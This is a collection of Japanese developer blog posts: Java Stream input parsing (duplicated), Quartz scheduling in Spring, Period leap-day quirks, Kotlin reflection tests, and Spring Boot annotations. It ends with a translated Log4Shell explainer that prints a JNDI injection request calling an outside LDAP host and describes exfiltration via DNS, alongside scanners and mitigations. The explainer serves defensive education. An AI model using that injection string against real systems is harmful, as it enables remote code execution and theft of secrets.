- 投稿日:2022-02-28T22:44:00+09:00
標準入力で受け取った文字列を数値配列化【Stream.of().mapToIn】
Paizaのスキル問題に挑むためのコピペ 参考記事 私の初心者レベルでは一発理解が出来なかったので、私なりの解説をメモ代わりに記載しておく。 Paizaのスキルチェックはすべて標準入力 なのでまずは受け取って、配列に入れて、配列を数値化して、そうして初めて変数XだYだのに入れ込める。 @takahirocook 氏のコード import java.util.Scanner; //Stream APIのインポート import java.util.stream.Stream; public class Main { public static void main(String[] args) { // scannerのインスタンス化 Scanner sc = new Scanner(System.in); // 空白区切りに文字型で要素ごとに配列に分割 String[] stringArray = sc.nextLine().split(" "); // String型配列 を int型配列 に変換 int[] intArray = Stream.of(stringArray).mapToInt(Integer::parseInt).toArray(); とあるが、肝心なところは2点ある。一つ一つ解説をしよう。 まずは配列への格納 String[] stringArray = sc.nextLine().split(" "); 標準入力(Paizaの課題が入力してくる数値)が入っている変数SCに対してsplit() をあてることで配列化する。 課題によって区切りがカンマだったり半角スペースだったりするので問題文をよく読んで引数に入れよう。 そのままだと文字列配列なので数値配列にする int[] intArray = Stream.of(stringArray).mapToInt(Integer::parseInt).toArray(); 私はこの段階で右辺のメソッドが一切わからなかった。APIで調べてもなんのこっちゃである。 順に調べてわかったことを書く(多分厳密に考えると指摘される箇所が多そう・・・)。 Stream.of() for eachだったりfor(String a : b) の処理に近い。 of() の引数に入っている配列を順に取り出すというもの。 当然これには処理(メソッド)がないので次に続く。 mapToInt(クラス名::メソッド名) 入力したクラスに用意されたメソッドをStreamで指定した引数に実行するもの。 今回行いたい処理はIntegerクラスに用意されたparseInt() メソッドなのでmapToInt(Integer::parseInt) になる。 toArray() 左2つで生み出されたリストを配列化するメソッド。 配列に入れた後は @takahirocook 氏の記事 入れた配列の出力や活用は氏の解説を参照。 以上。
- 投稿日:2022-02-28T22:44:00+09:00
標準入力で受け取った文字列を数値配列化【Stream.of().mapToInt】
Paizaのスキル問題に挑むためのコピペ 参考記事 私の初心者レベルでは一発理解が出来なかったので、私なりの解説をメモ代わりに記載しておく。 Paizaのスキルチェックはすべて標準入力 なのでまずは受け取って、配列に入れて、配列を数値化して、そうして初めて変数XだYだのに入れ込める。 @takahirocook 氏のコード import java.util.Scanner; //Stream APIのインポート import java.util.stream.Stream; public class Main { public static void main(String[] args) { // scannerのインスタンス化 Scanner sc = new Scanner(System.in); // 空白区切りに文字型で要素ごとに配列に分割 String[] stringArray = sc.nextLine().split(" "); // String型配列 を int型配列 に変換 int[] intArray = Stream.of(stringArray).mapToInt(Integer::parseInt).toArray(); とあるが、肝心なところは2点ある。一つ一つ解説をしよう。 まずは配列への格納 String[] stringArray = sc.nextLine().split(" "); 標準入力(Paizaの課題が入力してくる数値)が入っている変数SCに対してsplit() をあてることで配列化する。 課題によって区切りがカンマだったり半角スペースだったりするので問題文をよく読んで引数に入れよう。 そのままだと文字列配列なので数値配列にする int[] intArray = Stream.of(stringArray).mapToInt(Integer::parseInt).toArray(); 私はこの段階で右辺のメソッドが一切わからなかった。APIで調べてもなんのこっちゃである。 順に調べてわかったことを書く(多分厳密に考えると指摘される箇所が多そう・・・)。 Stream.of() for eachだったりfor(String a : b) の処理に近い。 of() の引数に入っている配列を順に取り出すというもの。 当然これには処理(メソッド)がないので次に続く。 mapToInt(クラス名::メソッド名) 入力したクラスに用意されたメソッドをStreamで指定した引数に実行するもの。 今回行いたい処理はIntegerクラスに用意されたparseInt() メソッドなのでmapToInt(Integer::parseInt) になる。 toArray() 左2つで生み出されたリストを配列化するメソッド。 配列に入れた後は @takahirocook 氏の記事 入れた配列の出力や活用は氏の解説を参照。 以上。
- 投稿日:2022-02-28T21:35:03+09:00
SpringでQuartzをDBと一緒に使ってみる。
はじめに Springで定期実行をする場合は@Scheduledがお手軽に使えていいのですが、 後から時間の変更をする等の複雑な処理には対応していないようです。 そこでQuartzを導入しようとしたのですが情報が少なかったので備忘録として残します。 依存関係 Lombok Spring Web Spring Data JPA H2 Database Quartz Scheduler 設定 インメモリではなくデータベースを使用する。 application.properties spring.quartz.job-store-type=jdbc Quartz用の設定はquartz.propertiesを作成する。 もしくはapplication.propertiesに下記をつけ足して書く。 spring.quartz.properties.org.quartz..... 各コネクションプール用の設定 SQL 各データベース用のSQLを選んでimport.sqlに書く。 ジョブ SimpleJob.class @Slf4j public class SimpleJob extends QuartzJobBean { @Override protected void executeInternal(JobExecutionContext context){ log.info("SimpleJob Start"); //ジョブの処理 log.info("SimpleJob End"); } } サービスクラス SchedulerService.class @Slf4j @RequiredArgsConstructor @Service public class SchedulerService { @NonNull private SchedulerFactoryBean schedulerFactoryBean; @NonNull private ApplicationContext context; private final String name = "hoge"; private final String group = "fuga"; private final String cron = "*/10 * * * * * ?"; public void insert() {//作成 JobDetailFactoryBean jobDetailFB = new JobDetailFactoryBean(); jobDetailFB.setApplicationContext(context); jobDetailFB.setJobClass(SimpleJob.class); jobDetailFB.setName(name); jobDetailFB.setGroup(group); JobDataMap jobDataMap = new JobDataMap(); //jobDataMap.put(key, value)でジョブ間のデータ受け渡し jobDetailFB.setJobDataMap(jobDataMap); jobDetailFB.afterPropertiesSet(); CronTriggerFactoryBean cronTriggerFB = new CronTriggerFactoryBean(); cronTriggerFB.setName(name); cronTriggerFB.setStartTime(new Date()); cronTriggerFB.setCronExpression(cron); cronTriggerFB.setMisfireInstruction(SimpleTrigger.MISFIRE_INSTRUCTION_FIRE_NOW); try { cronTriggerFB.afterPropertiesSet(); schedulerFactoryBean.getScheduler().scheduleJob(jobDetailFB.getObject(), cronTriggerFB.getObject()); } catch (Exception e) { log.error(e.getMessage(), e); } } public void update() {//変更 CronTriggerFactoryBean cronTriggerFB = new CronTriggerFactoryBean(); cronTriggerFB.setName(name); cronTriggerFB.setStartTime(new Date()); cronTriggerFB.setCronExpression(cron); cronTriggerFB.setMisfireInstruction(SimpleTrigger.MISFIRE_INSTRUCTION_FIRE_NOW); try { cronTriggerFB.afterPropertiesSet(); schedulerFactoryBean.getScheduler().rescheduleJob(TriggerKey.triggerKey(name, group), cronTriggerFB.getObject()); } catch (Exception e) { log.error(e.getMessage(), e); } } public void pause() {//停止 try { schedulerFactoryBean.getScheduler().pauseJob(new JobKey(name, group)); } catch (SchedulerException e) { log.error(e.getMessage(), e); } } public void resume() {//再開 try { schedulerFactoryBean.getScheduler().resumeJob(new JobKey(name, group)); } catch (SchedulerException e) { log.error(e.getMessage(), e); } } public void execute() {//一回のみ実行 try { schedulerFactoryBean.getScheduler().triggerJob(new JobKey(name, group)); } catch (SchedulerException e) { log.error(e.getMessage(), e); } } } まとめ これでデータベースと連携させて複雑な定期実行も出来ると思います。 最新のSpringのリファレンスからQuartzが消えているのはどうしてなんだろう……。 参考
- 投稿日:2022-02-28T18:42:39+09:00
Period について
ハマったのでメモ。 結論 閏日(2/29)から 2/28 までの Period が返す年数は、Joda Time と Java Time で結果が異なる。 環境 ソフトウェア バージョン Joda Time 2.10.8 Java 17.0.2 動作確認 1992-02-29 ~ 2022-02-28 までの年数を Period で取得してみる。 Joda Time Welcome to the Ammonite Repl 2.5.2 (Scala 2.13.8 Java 17.0.2) @ import $ivy.`joda-time:joda-time:2.10.8` import $ivy.$ @ import org.joda.time._ import org.joda.time._ @ new Period(new LocalDate(1992,2,29), new LocalDate(2022,2,28)).getYears res2: Int = 30 Joda Time では 30 年と出る。 Java Time Welcome to the Ammonite Repl 2.5.2 (Scala 2.13.8 Java 17.0.2) @ import java.time._ import java.time._ @ Period.between(LocalDate.of(1992,2,29), LocalDate.of(2022,2,28)).getYears res2: Int = 29 Java Time では 29 年と出る。 追記 1992-02-28 ~ 2022-02-27 は Joda Time でも Java Time でも 29 年と出る。 Joda Time Welcome to the Ammonite Repl 2.5.2 (Scala 2.13.8 Java 17.0.2) @ import $ivy.`joda-time:joda-time:2.10.8` import $ivy.$ @ import org.joda.time._ import org.joda.time._ @ new Period(new LocalDate(1992,2,28), new LocalDate(2022,2,27)).getYears res3: Int = 29 Java Time Welcome to the Ammonite Repl 2.5.2 (Scala 2.13.8 Java 17.0.2) @ import java.time._ import java.time._ @ Period.between(LocalDate.of(1992,2,28), LocalDate.of(2022,2,27)).getYears res1: Int = 29 補足 上記は年齢を算出するロジックの単体テストで発覚した。 民法では、年齢は前日に +1 されるため、誕生日が 1992-02-29 の人は 2022-02-28 の時に 30 歳である。 誕生日当日に +1 してしまうと、誕生時点で +1 されるため、0 歳が表現できなくなる。(から前日に +1 されるのかな?) でもその場合、2022-02-28 ではまだ 29 歳のはず(24時を超えないと +1 しないため、実質 2022-03-01 で 30 歳のはず)なのに、民法では 2022-02-28 でもう 30 歳と扱うらしい。謎い...
- 投稿日:2022-02-28T16:48:15+09:00
リフレクションでKotlinの要素を取得する【Kotlinリフレクション編】
Kotlinリフレクションを使用したKotlin要素の取得方法についてまとめました。 リフレクションは、privateなクラスやメソッドにアクセスするために便利な機能です。 前回のJavaリフレクション編に引き続き、今回もAndroidの単体テスト例を用いてまとめています。 尚、ご意見や筆者の認識の誤り等がありましたら、お気軽にコメントをお願いいたします。 まとめ JavaリフレクションとKotlinリフレクション 今回、Kotlinリフレクションでは以下の要素が取得できると分かりました。 public クラス public / private プロパティ public / private メソッド public / private コンストラクタ そして、privateクラスのみ取得ができませんでした。 そのため、基本的にはKotlinリフレクションを使用し、privateクラスを取得する時のみJavaリフレクションを使用すると良いのではと思います。 取得する要素と使用するメソッドのまとめ public クラス ::classで取得 public / private プロパティ publicプロパティの取得はクラス名::プロパティ名 privateプロパティの取得はKClass型.memberProperties、isAccessible = true指定 public / private メソッド publicメソッドの取得はクラス名::メソッド名 privateメソッドの取得はKClass型.declaredMemberFunctions、isAccessible = true指定 public / private コンストラクタ kClass.constructorsで取得、privateコンストラクタではisAccessible = true指定 使用するための準備 【確認環境】 Kotlin version:1.5.20 kotlin:kotlin-reflect:1.5.20 Kotlinリフレクションを使うためには、パッケージの追加が必要です。 AndroidStudioで新規プロジェクトを作成する場合はデフォルトで追加されていますが、万が一リフレクションが使えない!となった場合は、以下の依存関係を確認をしましょう。 build.gradle(app) dependencies { implementation 'org.jetbrains.kotlin:kotlin-reflect:1.5.20' } Kotlinリフレクション使用例 今回も以下のソースコードをもとに、Kotlinリフレクションを使用して要素を取得、テストを実施します。 尚、今回使用する以下のコードはリフレクションの事例をまとめるために使用するもので、不完全な部分を含みますのでご了承ください。 //Curryクラス (publicコンストラクタを持つクラス) class Curry(potato: Int) { val publicP = "publicPotato: ${potato}kg" private val privateP = "privatePotato: ${potato}kg" var ppp = "ppp" fun publicM(carrot: Int): String{ return "publicCarrot: ${carrot}kg" } private fun privateM(carrot: Int): String{ return "privateCarrot: ${carrot}kg" } private class MakeCurry(onion: String, val meat: Int){ val nestPublicP = "nestPublic-$onion" private val nestPrivateP = "nestPrivate-$onion" fun nestPublicM(water: Int): String { return "nestPublicMeat: ${meat+water}kg" } private fun nestPrivateM(water: Int): String { return "nestPrivateMeat: ${meat+water}kg" } } } //Stewクラス (privateコンストラクタを持つクラス) class Stew private constructor(val potato: Int, val carrot: Int) { val publicP = "publicPotato: ${potato}kg" private fun privateM(onion: Int): String { return "${publicP}, privateNetWeight: ${potato+carrot+onion}kg" } } publicクラスの要素 publicプロパティの取得 publicプロパティは、 ::オペレーターで取得可能です。 ::オペレーターは、内部にてKProperty 型のプロパティオブジェクトとして処理されます。 このKPropertyはkotlin.reflectionに含まれるクラスで、その名の通りプロパティを表します。 余談ではありますが、kotlin.reflectionには他にも、KClassクラス、KFunctionクラス、KCallableクラスなどがあります。 今回publicプロパティを取得するために使用するメソッドは、以下の2つです。 クラス名::プロパティ名 KClassを取得します。 KProperty.get(インスタンス) 指定したインスタンス時のプロパティの値を取得するためのメソッドです。 @Test fun getPublicP() { // テストのため通常通りプロパティを取得する(リフレクションではない) val actual = Curry(2).publicP //①KProperty1を取得 val kProperty = Curry::publicP //②プロパティの値を取得 val expected = kProperty.get(Curry(2)) //検証 assertEquals(expected, actual) } また、Javaリフレクション使用時は定数(val)でも値をsetできましたが、kotlinリフレクションではsetが使えるのは変数(var)の場合のみのようです。 変数のset時には、以下のメソッドを使用します。 KMutableProperty.set(インスタンス, setしたい値) setメソッドは、変数として宣言されたプロパティを表すためのKMutablePropertyクラスに実装されています。 また、::プロパティ(変数)名を指定すると自動でKMutablePropertyが取得されます。 //①変数を取得 val kMutableProperty1 = Curry::ppp //②setを実装 kMutableProperty1.set(Curry(2), "aaa") privateプロパティの取得 privateプロパティの場合、::オペレーターを使用して直接KPropertyを取得することはできません。 そのため、直接KPropertyを取得するのではなく、KClassを経由してプロパティを取得します。 privateプロパティを取得するために使用するリフレクション関係メソッドは以下の5つです。 クラス名::class KClassを取得します。 KClass.memberProperties 当該クラスとそのスーパークラスで宣言されている非拡張プロパティを取得するメソッドです。 戻り値はCollection<KProperty1<KClassのクラス名, *>>型です。 KProperty.name プロパティの名前を返すメソッドです。 今回はこれを用いて、プロパティの判別を行います。 isAccessible 取得した要素へのアクセスを許可するためのメソッドです。 = trueを設定することで、privateな要素へのアクセスが可能になります。 このisAccessibleメソッドは、KPropertyとKFunctionのスーパータイプにあたるKCallableに実装されています。 KProperty型.get(インスタンス) 指定したインスタンスの時の、プロパティの値を取得するメソッドです。 @Test fun getPrivateP() { //①KClassを取得 val kClass = Curry::class //②プロパティ配列を取得(今回はprivatePとpublicPを持つ配列が取得される) val kPropertyC = kClass.memberProperties //③配列内の要素をforEach文で取り出し、名前で条件分岐する kPropertyC.forEach { //it:KProperty1<Curry, *> if(it.name == "privateP") { //④アクセスを許可 it.isAccessible = true //⑤プロパティの値を取得 val actual = it.get(Curry(2)) //検証 assertEquals("privatePotato: 2kg", actual) } } } publicメソッドの取得 publicメソッドを取得するために今回使用するメソッドは以下の2つです。 ::メソッド名 KFunctionを取得します。 call(インスタンス, メソッドの引数1, 引数2, …) 指定された引数のリストを使用して、結果を返すメソッドです。 以下の例ではkFunctionに作用し、メソッドが実行された結果を返します。 このcallメソッドは、KPropertyとKFunctionのスーパータイプにあたるKCallableに実装されています。 @Test fun publicMTest() { //テストのため通常通りメソッドを実行(リフレクションではない) val actual = Curry(2).publicM(1) //①KFunctionを取得 val kFunction = Curry::publicM //②メソッドを実行 val expected = kFunction.call(Curry(2), 1) //検証 assertEquals(expected, actual) } privateメソッドの取得 privateメソッドの場合、::オペレーターを使用して直接KFunctionを取得することはできません。そのため、KClassを経由してプロパティを取得します。 今回privateメソッドを取得するために使用するメソッドは以下の4つです。 クラス名::class KClassを取得します。 KClass.declaredMemberFunctions クラス内に設置した関数を取得するためのメソッドです。 戻り値は、 Collection>型です。 isAccessible 取得した要素へのアクセスを許可するためのメソッドです。 = trueを設定することで、privateな要素へのアクセスが可能になります。 このisAccessibleメソッドは、KPropertyとKFunctionのスーパータイプにあたるKCallableに実装されています。 call(インスタンス, メソッドの引数1, 引数2, …) 指定された引数のリストを使用して、結果を返すメソッドです。 以下の例ではitであるKFunctionに作用し、メソッドが実行された結果を返します。 このcallメソッドも、KCallableに実装されています。 @Test fun privateMTest() { //①KClassを取得 val kClass = Curry::class //②関数配列を取得 val kFunction = kClass.declaredMemberFunctions //③配列内の要素をforEach文で取り出し、名前で条件分岐する kFunction.forEach { //it: KFunction<*> if (it.name == "privateM"){ //④アクセスを許可 it.isAccessible = true //⑤メソッドを実行し、戻り値を取得 val actual = it.call(Curry(2), 3) //検証 assertEquals("privateCarrot: 3kg", actual) } } } privateクラスの要素 今回確認した範囲では、privateクラスは取得できませんでした。 そのため、privateクラスの要素を取得する場合にはJavaリフレクションを使用することになると考えています。 Javaリフレクションを使用したprivateクラスの取得方法 privateコンストラクタを持つpublicクラスの要素 publicプロパティの取得 privateコンストラクタを持つクラスのpublicプロパティを取得するために、以下の5つのメソッドを使用します。 クラス名::class KClassを取得します。 KClass.constructors 当該クラスで宣言された全てのコンストラクタを取得するためのメソッドです。 戻り値は、Collection>です。 isAccessible 取得した要素へのアクセスを許可するためのメソッドです。 = trueを設定することで、privateな要素へのアクセスが可能になります。 このisAccessibleメソッドは、KPropertyとKFunctionのスーパータイプにあたるKCallableに実装されています。 call(インスタンス, メソッドの引数1, 引数2, …) 指定された引数のリストを使用して、結果を返すメソッドです。 以下の例ではitであるKFunctionに作用し、インスタンスが生成されます。 このcallメソッドも、KCallableに実装されています。 インスタンス::プロパティ名.get() プロパティの値を取得するメソッドです。 @Test fun getPublicP() { //①KClassを取得 val kClass = Stew::class //②コンストラクタ配列を取得 val const = kClass.constructors //③配列内の要素をforEach文で取り出す const.forEach { //it: KFunction<Stew> //④アクセスを許可する it.isAccessible = true //⑤インスタンスを生成し、プロパティの値を取得する val actual = it.call(1, 2)::publicP.get() //検証 assertEquals("publicPotato: 1kg", actual) } } privateメソッドの取得 流れとしては、 privateコンストラクタを持つクラスのpublicプロパティの取得の前半(配列内の要素をforEach文で取り出すまで)と publicクラスのprivateメソッドの取得の後半(関数配列の取得以降) を組み合わせて取得できます。 ただし、今回の例ではコンストラクタは1つしか実装していないため、②にてコンストラクタ配列を取得後は1つ目の要素のみ取得しています。 @Test fun privateM() { //①KClassを取得 val kClass = Stew::class //②コンストラクタ配列の1つ目を取得(constはKFunction<Stew>) val const = kClass.constructors.first() //③コンストラクタへのアクセスを許可 const.isAccessible = true //⑤インスタンスを生成する val kFunction = const.call(1, 2) //⑥関数配列を取得し、配列内の要素をforEach文で取り出す kFunction::class.declaredMemberFunctions.forEach { it -> //it: KFunction<*> //⑦名前で条件分岐する if (it.name == "privateM") { //⑧メソッドへのアクセスを許可する it.isAccessible = true //⑨メソッドを実行する val actual = it.call(kFunction, 4) //検証 assertEquals("publicPotato: 1kg, privateNetWeight: 7kg", actual) } } } 参考 Reflection | Kotlin Qiita:Kotlin リフレクション hatenablog:Kotlinのdata classのpropertyをreflectionで更新する - abcdefg..... hatenablog:Kotlinのリフレクション(protected/privateメソッド呼び出し)
- 投稿日:2022-02-28T15:09:04+09:00
Spring Bootで使われるアノテーションをまとめてみた
業務上、Spring Bootを使っており、その中で結構な数のアノテーション(@でクラスとかにかかれているやつ)が出てくるので備忘録も兼ねてまとめてみました。 #「Spring Boot」とは Spring Framework(Javaのフレームワーク)のひとつでアプリケーションを作るための仕組み。 Spring Boot以外にも下記リンクあるような様々なプロダクトが用意されている。 Spring | Projects Spring Bootの特徴として、 ・あらかじめオススメのプロジェクト(プロダクト)の組み合わせが含まれている ・自動で設定が含まれている ・組み込みサーバが同梱されている といったことが挙げられる。 #アノテーション一覧 個人的に重要そうだなと思ったアノテーションは太字にしています。 アノテーション 説明 @SpringBootApprication Springアプリケーションにつけることで、諸々の設定が不要になる。後述する@EnableAutoConfiguration、@Configuration、@ComponentScanを組み合わせたもの。 @RestController 「REST」」Webアプリケーションにおけるリクエストを受けるクラスであることを表す。 @GetMapping HTTPリクエストのメソッドにGETがあるように、GETメソッドを受け付けることを表す。PostMappingなども存在する。 @Configuration 「JavaConfig」用のクラスであることを表す @Bean 「DIコンテナ」に管理させたいBean(実装)を生成するメソッドに付与する。 @EnableAutoConfiguration Spring Bootの自動設定を有効にする。 @Import @Configurationをつけたクラスを引数に設定する。例) @Import(AppConfig.class) @Autowired DIコンテナで管理するフィールドに付与する。自動的に管理されているDIコンテナから合致する型のオブジェクトをインジェクションする。(オート・ワイヤリング) @ComponentScan 同じパッケージ配下で、DIコンテナに登録するクラスを走査する @Controller Spring MVCのコントローラであることを示す @Service サービスクラスであることを示す。@Componentと機能的には違いはなし @Repository リポジトリクラスに付与する。 @Transactional クラスをDIコンテナから取得し、そのクラスのメソッドが呼ばれた時、自動的にDBトランザクションの制御をする @Query クエリ文に付与する @ResponseStatus HTTPのリクエストに対するレスポンスステータスを指定する。例) @ResponseStatus(HttpStatus.OK) @RequestBody HTTPリクエストの時に設定するBody部に付与する @PageableDefault リクエストパラメータでパラメータが指定されなかった際に、デフォルト値を設定するために付与する @Validated 情報の入力値チェックを行う際に付与する #./mvnwコマンド一覧 以下spring bootを学習する上で出てきたmvnwコマンドたち コマンド 説明 ./mvnw dependenct:tree 使用可能なライブラリの一覧を表示する ./mvnw spring-boot:run アプリケーションを「起動」する ./mvnw package アプリケーションのjarファイルを作成する 若干説明が中途半端で分かりづらいところがありましたので、個別で調べていきたいと思います。あと、RestControllerでなにかAPI作ってみてもいいですね。
- 投稿日:2022-02-28T13:05:09+09:00
Java Log4JShellの脆弱性についての調査内容まとめ(翻訳版) by Nairuz Abulhul
訳者前書き 先日発表されたLog4jの脆弱性について調査した中で、Nairuz Abulhul氏の”Java Log4JShell Vulnerability – What I Learned About it This Week”という記事を和訳いたしましたので公開いたします。訳者注といった形で、追加で調べた項目について説明を付け加えています。 こちらの記事は公開が2021年12月23日ということで、情報がやや古い可能性もありますので、ご留意いただければと思います。 Log4jに関する公式情報はこちら。 Java Log4JShellの脆弱性についての調査内容まとめ 先日、世界中の多くのJavaアプリケーションで使われているLog4Jというロギングライブラリの脆弱性が発表されました。本件は「CVE-2021–44228」というインシデント番号で管理されています。 攻撃者は、脆弱性のあるアプリケーションが読み込み・実行したリクエストによって、任意の場所に加工したペイロードを忍び込ませることができます。 TwitterやReddit、Youtubeなどでこの重大な脆弱性が多く取り沙汰されています。今回の記事では、この脆弱性についての実証結果を交えて、私が調査した内容をまとめていきます。この脆弱性の悪用を防ぐ対策についても記述しました。 [訳者注] インシデント番号:情報セキュリティに関する脆弱性やバグなどについては番号がつけられ、インシデントとして管理されている。参考:CVEとは ペイロード:一般的には送信するデータ本体のことを指す。またセキュリティ的観点では、ある不正行為に付随して起こる更なる不正行為のことも意味する。ここでは前者の意味を採用した。 Reddit:アメリカのソーシャルニュースサイト。 Log4Shell脆弱性の概要 今回のLog4Shellの脆弱性はJNDIインジェクションの一種です。この脆弱性は新たに発見されたものではなく、2016年のブラックハットトークにてAlvaro Munoz氏とOleksandr Mirosh氏の発表の中で既存事例が報告されています。 バージョン1.x以前のライブラリについては、ログがきちんと文字列形式でカプセル化されるため、外部から読み込むことができません。そのためプログラムの不正実行に関する脆弱性は確認されていません。 今回報告された脆弱性はそれよりもむしろ新しい、バージョン2.0-2.15.0のJNDI lookup機能についてのものです。これらのバージョンではアプリケーションの配置場所に関わらず、どこからでも入力内容が読み込まれて実行されてしまいます。Webアプリケーション、データベース、メールサーバ、ルータ、エンドポイント管理、モバイルアプリケーション、IoTデバイスなど媒体に関わらず、Javaが使用されてさえいれば全てこの脆弱性の対象となります。 Rob Fuller (@mubix) 氏が以下の図で、今回の脆弱性の重大性をわかりやすく紹介しています。 恐ろしいことに、我々が身近に抱えるデバイスの多くが危険に晒されています。携帯電話やスマートウォッチ、食洗機(!)に至るまで、モバイルデバイスとなりうる私の私物は全てチェックしてみましたが、どれもDNSリクエストの応答が返ってきました 。? JNDI(Java Naming Directory Interface)はJavaアプリケーションを使用するにあたって、オブジェクトと名前を関連付けて検索することができるAPIです。LDAPやRMI、DNS、COBRAといったディレクトリサービスへのサポートを提供しています。 今までに見てきたほとんどのペイロードでDNSリクエストに際してLDAPやDNS、RMIプロトコルを利用していました。 リモートコード実行のためには、攻撃者がLDAPサーバを立てて、脆弱性の高いアプリケーションに接続する必要があります。攻撃者のサーバが悪意のあるデータを送り込むためには、攻撃対象となるアプリケーションがLDAPの外部接続を許可している必要があります。 DNSリクエストの確認だけではリモートコード実行の脆弱性があるか確認するには不十分です。しかし機密データの漏洩によってデバイスが危険に晒される可能性があるため、DNSリクエストの確認は非常に重要です。 [訳者注] ブラックハットトーク:サイバーセキュリティに関する調査や議論を行う国際的なコミュニティ。公式サイト。 そのためプログラムの不正実行に関する脆弱性は確認されていません:JNDI探索がされないため、今回の脆弱性の対象には含まれません。ただし1.x系についてはすでにサポートが切れているため、いずれにせよ継続使用は一般的に非推奨であるようです。参考:log4j1.x系は大丈夫なの? lookup機能:ログとして記録された文字列を変数に置き換える機能。 DNSリクエストの応答が返ってきました:攻撃者が攻撃対象に不正な接続を試みるときにDNSなどのプロトコルのレスポンスが返ってくることから、脆弱性があるかどうかをこの方法で確認できる。 LDAPサーバ:ディレクトリサービスという、ネットワーク上のさまざまな情報を一元管理するサービスを提供するサーバのこと。 リモートコード実行:システムの脆弱性をついてプログラムを遠隔から送り込み、別のシステム上で実行させること。 Log4j脆弱性の危険性 この脆弱性が重大である点は以下です。 DNSを通じてデータ流出の危険がある 悪意のあるJavaオブジェクトやLDAPサーバを用いて、リモートコード実行が可能である パッチバージョンについて Log4jバージョン2.17が修正版バージョンとしてリリースされています。本稿の執筆中にLog4jバージョン2.15とバージョン2.16についてはバイパスが可能になっています。 [訳者注] パッチバージョン:バグ修正が行われた時などに公開されるバージョン。 バイパス:システムにおいて不具合の発生した箇所を迂回した処理を走らせることで、正常な動作を行うこと。 今回の脆弱性の攻撃手法について 攻撃者はまずLDAPサーバを立て、攻撃用のペイロードクラスを作成します。そのクラスを「Log4JPayload.class」といった形式のLDAPオブジェクトとして保存しておきます。そしてリクエストパス、HTTPヘッダ、ファイル名、ドキュメントや画像のメタデータなど、ログとして記録されるであろう任意のリクエストに、JNDIインジェクションを紛れ込ませます(インジェクションを紛れ込ませるポイントについては次々項で詳説)。 ペイロードの例 悪意のあるリクエストがログとして記録されると、Log4jライブラリはそのJNDIインジェクションを読み込みます。そして攻撃者が立てたLDAPサーバに接続して攻撃用に用意されたクラスを読み込もうとします。 攻撃の対象となったアプリケーションがそのクラスを実行すると、攻撃者がリモートコード実行可能な状態となります。 インジェクションが行われるポイント インジェクションが行われるポイントの一つが、以下のようなリクエストパスです。 GET /${jndi:ldap://c6xppah2n.dnslog.cn/d} HTTP/1.1 HTTPヘッダも主要なインジェクションポイントとなり得ます。HTTPヘッダであればどこにでもペイロードを侵入させることができます。 以下に列挙するポイントも全てインジェクションポイントとなりえるため、確認の必要があります。 Musa Şana氏の記事ではインジェクションポイントについて、さらにたくさんの項目がまとめられています。 注意しなければならないのは、攻撃の結果が必ずしも即座に返ってくるわけではないという点です。場合によっては数分から数時間かかることもあります。 私が自分のスマートウォッチについてテストを行った際は、最初の反応を確認するまでに25分を要しました。脆弱性確認のブラックボックステストを行う際は、十分な時間を置いて確認してください。焦りは禁物です⏰! [訳者注] ブラックボックステスト:システムの内部構造を無視し、システム仕様に基づいて実行するテストのこと。 確認されているペイロード ここ数日で、参考となるペイロード例がTwitterで多く出回りました。中にはAkamaiやCloudflare、AWS WAFなど、よく使われているWAFサービスを突破するペイロードも確認されています。 以下に、Twitterで収集したペイロードの一覧を掲載します。Carbonでまとめたものも掲載します。 ペイロードまとめ - Twitterより [訳者注] WAFサービス:Webアプリケーション向けのファイアウォールサービスのこと。 Carbon:ソースコードを画像化することができるサービス。 データ漏洩のケーススタディ アプリケーションがリモートコード実行やLDAPの出接続をブロックされる危険性に晒されていない場合であっても、今回の脆弱性を利用して侵入し攻撃することができます。秘密鍵、トークン、アプリケーションやホスト環境のインフラ設定ファイルなどの機密情報が盗み取られる危険性があります。 盗み取った情報を用いてさまざまな方法を用いて、標的となったアプリケーションに侵入し攻撃することができます。 Carbonより 自動で脆弱性をスキャンする方法 ブラックボックステストの一環として、脆弱性をざっくりと自動スキャンすることができます。以下に挙げたのが代表的なスキャンツールです。 Burp拡張機能 - Log4Shell Scanner mazen160氏によるLog4J Scanner Nuclei Template for Log4J id: CVE-2021–44228 Nmap NSE Script — nse-log4shell DNSログモニターサービス 以下に挙げるサービスを利用して所有するペイロードに対するDNSトークンを作成し、応答を確認する手法で手っ取り早くアプリケーションの脆弱性確認を行うことも可能です。 Canary Tokens DNSlog.cn Interactsh Burp Collaborator アプリケーションの脆弱性をテストしよう 脆弱性テストの題材として、脆弱性のある最適なアプリがGitHubや PentesterLabs、TryHackMeにたくさん掲載されています。利用してみましょう。 おすすめはLog4Shellアプリです。ただし攻撃用のLDAPサーバを用意して接続するなど、いくつかセットアップが必要になります。 手早くテストを行いたい場合は、TryHackMe Solar Roomが良いでしょう。 Log4jPwn Log4Shell PentestLabs Challenges : Log4J RCE , Log4J RCE II TryHackMe Solar Room by John Hammond(無料枠) 脆弱性を避ける策 今回の脆弱性に対しては、以下のような対策が有効です。 Log4Jのバージョンを最新のv2.17.0.にする。 設定ファイルに以下を記述し、lookups機能を無効化する。 log4j2.formatMsgNoLookups=true 以下のコマンドで、クラスパスからJndiLookupクラスを削除する。 zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class ファイアウォールの設定で、アクセスを一部のホストに制限する。 Mick Douglas氏のツイートではこれについてIMMAモデル(分離する、最小化する、監視する、守りを固める)が紹介されています。(Mick Douglas氏のTwitterアカウント) 今回のまとめは以上です。なかなか大変な状況ですね。Javaのインジェクションや濫用のケースについてたくさん学ぶことができました。 ここまで読んでくださりありがとうございました! 訳者あとがき 今回は昨年末話題になったLog4jの脆弱性について調査していく中で、英語記事の翻訳を行いました。正しい翻訳を追求するためには背景知識や補完知識が要求され、普段通り日本語の記事で情報を得るよりも深く内容を理解できたと思います。このような重大な脆弱性に関してはアップデートが早いため、今後もこまめに情報を追っていきたいと思います。 翻訳元記事: Java Log4JShell Vulnerability – What I Learned About it This Week 調査の参考にしたLog4j関連の記事: us-16-MunozMirosh-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE apache log4jの脆弱性ニュースに関して log4j1.x系は大丈夫なの? 30億のデバイスで任意コードが実行できちゃうJava log4j2の脆弱性整理 最新版Log4j 2.17.1ではCVE-2021-44832のリモートコード実行が修正されています Log4Shellデモ(実証〜検出〜修正)を公開しました 「やばすぎる」 Javaライブラリ「Log4j」にゼロデイ脆弱性、任意のリモートコードを実行可能 iCloudやSteam、Minecraftなど広範囲のJava製品に影響か 【図解】Log4jの脆弱性 CVE-2021-44228 (Log4shell or LogJam) について 